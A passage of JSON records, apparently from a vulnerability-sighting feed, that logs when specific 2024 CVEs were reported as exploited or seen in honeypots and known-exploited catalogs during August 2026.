"CVE-2024-12686", "type": "exploited", "source": "https://t.me/ZerodayAlert/428", "content": "", "creation_timestamp": "2026-08-07T00:32:29.121227Z"}, {"uuid": "7a007cc8-4b88-41eb-ae79-8ccac9c5b1ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/ZerodayAlert/428", "content": "", "creation_timestamp": "2026-08-07T00:32:29.074609Z"}, {"uuid": "d55ec7f8-58bb-4c2c-a48b-44faa7dea699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-06)", "content": "", "creation_timestamp": "2026-08-07T10:02:13.212905Z"}, {"uuid": "70f2030a-bd0e-4d79-8efd-08976bf1bf72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-06)", "content": "", "creation_timestamp": "2026-08-07T10:15:04.171374Z"}, {"uuid": "fc9b154b-e358-49a8-b489-ced3753fcd77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-07)", "content": "", "creation_timestamp": "2026-08-08T10:19:24.703199Z"}, {"uuid": "8a2b7bcb-83a6-4ef8-a75a-4a62f51a6413", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-08)", "content": "", "creation_timestamp": "2026-08-09T10:08:28.300115Z"}, {"uuid": "6d4e9988-c1d1-4d1a-9ef6-209e66f6fd2c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/5be07e5e-3ba9-41dd-bd3d-4f44fc178985", "content": "", "creation_timestamp": "2026-08-25T11:00:44.486530Z"}, {"uuid": "142a9cac-68b5-4f95-94c9-2013ee831211", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/c8c5b114-167f-4128-9002-dca9e7595b22", "content": "", "creation_timestamp": "2026-08-26T01:00:46.557124Z"}]}